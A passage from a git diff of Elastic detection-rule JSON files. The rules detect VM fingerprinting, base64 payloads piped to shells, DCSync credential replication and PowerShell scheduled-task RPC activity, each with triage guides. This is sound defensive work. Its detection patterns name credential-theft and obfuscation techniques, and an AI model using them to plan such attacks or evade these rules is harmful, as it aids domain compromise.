Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\nSession View uses process data collected by the Elastic Defend integration, but this data is not always collected by default. Session View is available on enterprise subscription for versions 8.3 and above.\n#### To confirm that Session View data is enabled:\n- Go to \u201cManage \u2192 Policies\u201d, and edit one or more of your Elastic Defend integration policies.\n- Select the\u201d Policy settings\u201d tab, then scroll down to the \u201cLinux event collection\u201d section near the bottom.\n- Check the box for \u201cProcess events\u201d, and turn on the \u201cInclude session data\u201d toggle.\n- If you want to include file and network alerts in Session View, check the boxes for \u201cNetwork and File events\u201d.\n- If you want to enable terminal output capture, turn on the \u201cCapture terminal output\u201d toggle.\nFor more information about the additional fields collected when this setting is enabled and the usage of Session View for Analysis refer to the [helper guide](https://www.elastic.co/guide/en/security/current/session-view.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Privilege Escalation", - "Domain: Container", - "Data Source: Elastic Defend", - "Data Source: SentinelOne", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1611", - "name": "Escape to Host", - "reference": "https://attack.mitre.org/techniques/T1611/" - } - ] - } - ], - "type": "eql", - "version": 104 - }, - "id": "5ae02ebc-a5de-4eac-afe6-c88de696477d_104", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_109.json b/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_109.json deleted file mode 100644 index f200e81fca5..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/5b03c9fb-9945-4d2f-9568-fd690fee3fba_109.json +++ /dev/null @@ -1,90 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware.", - "false_positives": [ - "Certain tools or automated software may enumerate hardware information. These tools can be exempted via user name or process arguments to eliminate potential noise." - ], - "from": "now-9m", - "index": [ - "auditbeat-*", - "logs-endpoint.events.*", - "endgame-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Virtual Machine Fingerprinting", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Virtual Machine Fingerprinting\n\nVirtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities.\n\n### Possible investigation steps\n\n- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field.\n- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted.\n- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity.\n- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting.\n- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats.\n- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary.\n\n### False positive analysis\n\n- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior.\n- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe.\n- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations.\n- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged.\n- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary.\n- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user.\n- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise.\n- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced.\n- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.\n- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting.", - "query": "event.category:process and host.os.type:linux and event.type:(start or process_started) and\n process.args:(\"/sys/class/dmi/id/bios_version\" or\n \"/sys/class/dmi/id/product_name\" or\n \"/sys/class/dmi/id/chassis_vendor\" or\n \"/proc/scsi/scsi\" or\n \"/proc/ide/hd0/model\") and\n not user.name:root\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.category", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "user.name", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "5b03c9fb-9945-4d2f-9568-fd690fee3fba", - "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", - "severity": "high", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Data Source: Elastic Endgame", - "Data Source: Elastic Defend", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1082", - "name": "System Information Discovery", - "reference": "https://attack.mitre.org/techniques/T1082/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 109 - }, - "id": "5b03c9fb-9945-4d2f-9568-fd690fee3fba_109", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_1.json b/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_1.json deleted file mode 100644 index 9ce56cdba62..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/5bdad1d5-5001-4a13-ae99-fa8619500f1a_1.json +++ /dev/null @@ -1,137 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects when a base64 decoded payload is piped to an interpreter on Linux systems. Adversaries may use base64 encoding to obfuscate data and pipe it to an interpreter to execute malicious code. This technique may be used to evade detection by host- or network-based security controls.", - "from": "now-9m", - "index": [ - "logs-endpoint.events.process*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Base64 Decoded Payload Piped to Interpreter", - "query": "sequence by host.id, process.parent.entity_id with maxspan=3s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and (\n (process.name in (\"base64\", \"base64plain\", \"base64url\", \"base64mime\", \"base64pem\", \"base32\", \"base16\") and process.command_line like~ \"*-*d*\") or\n (process.name == \"openssl\" and process.args == \"enc\" and process.args in (\"-d\", \"-base64\", \"-a\")) or\n (process.name like \"python*\" and\n (process.args == \"base64\" and process.args in (\"-d\", \"-u\", \"-t\")) or\n (process.args == \"-c\" and process.args like \"*base64*\" and process.command_line like~ \"*b64decode*\")\n ) or\n (process.name like \"perl*\" and process.command_line like~ \"*decode_base64*\") or\n (process.name like \"ruby*\" and process.args == \"-e\" and process.command_line like~ \"*Base64.decode64*\")\n )]\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name like~ (\n \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\", \"python*\", \"perl*\", \"ruby*\", \"lua*\", \"php*\"\n )]\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.id", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.command_line", - "type": "wildcard" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.parent.entity_id", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "5bdad1d5-5001-4a13-ae99-fa8619500f1a", - "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", - "severity": "medium", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Tactic: Execution", - "Data Source: Elastic Defend" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.004", - "name": "Unix Shell", - "reference": "https://attack.mitre.org/techniques/T1059/004/" - } - ] - }, - { - "id": "T1204", - "name": "User Execution", - "reference": "https://attack.mitre.org/techniques/T1204/", - "subtechnique": [ - { - "id": "T1204.002", - "name": "Malicious File", - "reference": "https://attack.mitre.org/techniques/T1204/002/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 1 - }, - "id": "5bdad1d5-5001-4a13-ae99-fa8619500f1a_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5c6f4c58-b381-452a-8976-f1b1c6aa0def_118.json b/packages/security_detection_engine/kibana/security_rule/5c6f4c58-b381-452a-8976-f1b1c6aa0def_118.json new file mode 100644 index 00000000000..0741c58892e --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5c6f4c58-b381-452a-8976-f1b1c6aa0def_118.json @@ -0,0 +1,129 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain.", + "from": "now-9m", + "history_window_start": "now-15d", + "index": [ + "winlogbeat-*", + "logs-system.security*", + "logs-windows.forwarded*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "FirstTime Seen Account Performing DCSync", + "new_terms_fields": [ + "winlog.event_data.SubjectUserName" + ], + "note": "## Triage and analysis\n\n### Investigating FirstTime Seen Account Performing DCSync\n\nActive Directory replication is the process by which the changes that originate on one domain controller are automatically transferred to other domain controllers that store the same data.\n\nActive Directory data consists of objects that have properties, or attributes. Each object is an instance of an object class, and object classes and their respective attributes are defined in the Active Directory schema. Objects are defined by the values of their attributes, and changes to attribute values must be transferred from the domain controller on which they occur to every other domain controller that stores a replica of an affected object.\n\nAdversaries can use the DCSync technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller, compromising major credential material such as the Kerberos krbtgt keys that are used legitimately for creating tickets, but also for forging tickets by attackers. This attack requires some extended privileges to succeed (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All), which are granted by default to members of the Administrators, Domain Admins, Enterprise Admins, and Domain Controllers groups. Privileged accounts can be abused to grant controlled objects the right to DCsync/Replicate.\n\nMore details can be found on [Threat Hunter Playbook](https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing) and [The Hacker Recipes](https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync).\n\nThis rule monitors for when a Windows Event ID 4662 (Operation was performed on an Active Directory object) with the access mask 0x100 (Control Access) and properties that contain at least one of the following or their equivalent Schema-Id-GUID (DS-Replication-Get-Changes, DS-Replication-Get-Changes-All, DS-Replication-Get-Changes-In-Filtered-Set) is seen in the environment for the first time in the last 15 days.\n\n#### Possible investigation steps\n\n- Identify the user account that performed the action and whether it should perform this kind of action.\n- Contact the account and system owners and confirm whether they are aware of this activity.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Correlate security events 4662 and 4624 (Logon Type 3) by their Logon ID (`winlog.logon.id`) on the Domain Controller (DC) that received the replication request. This will tell you where the AD replication request came from, and if it came from another DC or not.\n- Scope which credentials were compromised (for example, whether all accounts were replicated or specific ones).\n\n### False positive analysis\n\n- Administrators may use custom accounts on Azure AD Connect; investigate if this is part of a new Azure AD account setup, and ensure it is properly secured. If the activity was expected and there is no other suspicious activity involving the host or user, the analyst can dismiss the alert.\n- Although replicating Active Directory (AD) data to non-Domain Controllers is not a common practice and is generally not recommended from a security perspective, some software vendors may require it for their products to function correctly. Investigate if this is part of a new product setup, and ensure it is properly secured. If the activity was expected and there is no other suspicious activity involving the host or user, the analyst can dismiss the alert.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- If the entire domain or the `krbtgt` user was compromised:\n - Activate your incident response plan for total Active Directory compromise which should include, but not be limited to, a password reset (twice) of the `krbtgt` user.\n- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "event.code:\"4662\" and host.os.type:\"windows\" and \n winlog.event_data.Properties:(\n *DS-Replication-Get-Changes* or *DS-Replication-Get-Changes-All* or\n *DS-Replication-Get-Changes-In-Filtered-Set* or *1131f6ad-9c07-11d1-f79f-00c04fc2dcd2* or\n *1131f6aa-9c07-11d1-f79f-00c04fc2dcd2* or *89e95b76-444d-4c62-991a-0facbeda640c*) and\n not winlog.event_data.SubjectUserName:(*$ or MSOL_*)\n", + "references": [ + "https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html", + "https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md", + "https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync", + "https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync" + ], + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "system", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Properties", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserName", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "5c6f4c58-b381-452a-8976-f1b1c6aa0def", + "setup": "## Setup\n\nThe 'Audit Directory Service Access' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Access (Success,Failure)\n```\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Resources: Investigation Guide", + "Data Source: Windows Security Event Logs" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1003", + "name": "OS Credential Dumping", + "reference": "https://attack.mitre.org/techniques/T1003/", + "subtechnique": [ + { + "id": "T1003.006", + "name": "DCSync", + "reference": "https://attack.mitre.org/techniques/T1003/006/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 118 + }, + "id": "5c6f4c58-b381-452a-8976-f1b1c6aa0def_118", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5cd55388-a19c-47c7-8ec4-f41656c2fded_213.json b/packages/security_detection_engine/kibana/security_rule/5cd55388-a19c-47c7-8ec4-f41656c2fded_213.json new file mode 100644 index 00000000000..af60e03b6b8 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/5cd55388-a19c-47c7-8ec4-f41656c2fded_213.json @@ -0,0 +1,141 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the PowerShell process loading the Task Scheduler COM DLL followed by an outbound RPC network connection within a short time period. This may indicate lateral movement or remote discovery via scheduled tasks.", + "false_positives": [ + "Legitimate scheduled tasks may be created during installation of new software." + ], + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-endpoint.events.library-*", + "logs-endpoint.events.network-*", + "logs-windows.sysmon_operational-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Outbound Scheduled Task Activity via PowerShell", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Outbound Scheduled Task Activity via PowerShell\n\nPowerShell, a powerful scripting language in Windows, can automate tasks via the Task Scheduler. Adversaries exploit this by creating scheduled tasks to execute malicious scripts, facilitating lateral movement or remote discovery. The detection rule identifies suspicious PowerShell activity by monitoring for the Task Scheduler DLL load and subsequent outbound RPC connections, signaling potential misuse.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host.id and process.entity_id associated with the suspicious activity.\n- Examine the process execution history on the affected host to determine if the PowerShell process (powershell.exe, pwsh.exe, or powershell_ise.exe) has executed any unexpected or unauthorized scripts.\n- Check the network logs for the host to identify any unusual or unauthorized outbound RPC connections, particularly those targeting port 135, and verify if the destination addresses are legitimate and expected.\n- Investigate the context of the taskschd.dll library load by reviewing recent scheduled tasks on the host to identify any newly created or modified tasks that could be linked to the alert.\n- Correlate the alert with other security events or logs from the same host or network segment to identify any patterns or additional indicators of compromise that may suggest lateral movement or remote discovery attempts.\n\n### False positive analysis\n\n- Legitimate administrative tasks using PowerShell may trigger the rule if they involve loading the Task Scheduler DLL and making RPC connections. To manage this, identify and whitelist specific scripts or processes that are known to perform these actions regularly.\n- Automated system maintenance or monitoring tools might also load the Task Scheduler DLL and establish RPC connections. Review these tools and exclude their process IDs or hashes from the detection rule to prevent false alerts.\n- Software updates or installations that use PowerShell scripts could mimic the behavior detected by the rule. Monitor update schedules and temporarily disable the rule during these periods if necessary, or create exceptions for known update processes.\n- Developers or IT staff using PowerShell for legitimate remote management tasks may inadvertently trigger the rule. Implement user-based exceptions for trusted personnel or restrict the rule to non-administrative accounts to reduce false positives.\n\n### Response and remediation\n\n- Isolate the affected host immediately from the network to prevent further lateral movement or data exfiltration.\n- Terminate the suspicious PowerShell process identified in the alert to stop any ongoing malicious activity.\n- Conduct a forensic analysis of the affected system to identify any additional malicious scheduled tasks or scripts and remove them.\n- Review and clean up any unauthorized scheduled tasks created on the system to ensure no persistence mechanisms remain.\n- Reset credentials for any accounts that were used or potentially compromised during the incident to prevent unauthorized access.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the attack.\n- Implement enhanced monitoring for similar PowerShell and scheduled task activities across the network to detect and respond to future threats promptly.", + "query": "sequence by host.id, process.entity_id with maxspan = 5s\n [any where host.os.type == \"windows\" and (event.category == \"library\" or (event.category == \"process\" and event.action : \"Image loaded*\")) and\n (?dll.name : \"taskschd.dll\" or file.name : \"taskschd.dll\") and process.name : (\"powershell.exe\", \"pwsh.exe\", \"powershell_ise.exe\")]\n [network where host.os.type == \"windows\" and process.name : (\"powershell.exe\", \"pwsh.exe\", \"powershell_ise.exe\") and destination.port == 135 and not cidrmatch(destination.ip, \"127.0.0.0/8\", \"::1/128\")]\n", + "references": [ + "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "destination.port", + "type": "long" + }, + { + "ecs": true, + "name": "dll.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "5cd55388-a19c-47c7-8ec4-f41656c2fded", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Data Source: Sysmon", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + }, + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "type": "eql", + "version": 213 + }, + "id": "5cd55388-a19c-47c7-8ec4-f41656c2fded_213", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_103.json b/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_103.json deleted file mode 100644 index f5f390f2761..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/5e4023e7-6357-4061-ae1c-9df33e78c674_103.json +++ /dev/null @@ -1,130 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig.", - "from": "now-9m", - "index": [ - "endgame-*", - "logs-endpoint.events.process*", - "logs-sentinel_one_cloud_funnel.*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "Memory Swap Modification", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Memory Swap Modification\n\nMemory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation.\n\n### Possible investigation steps\n\n- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by 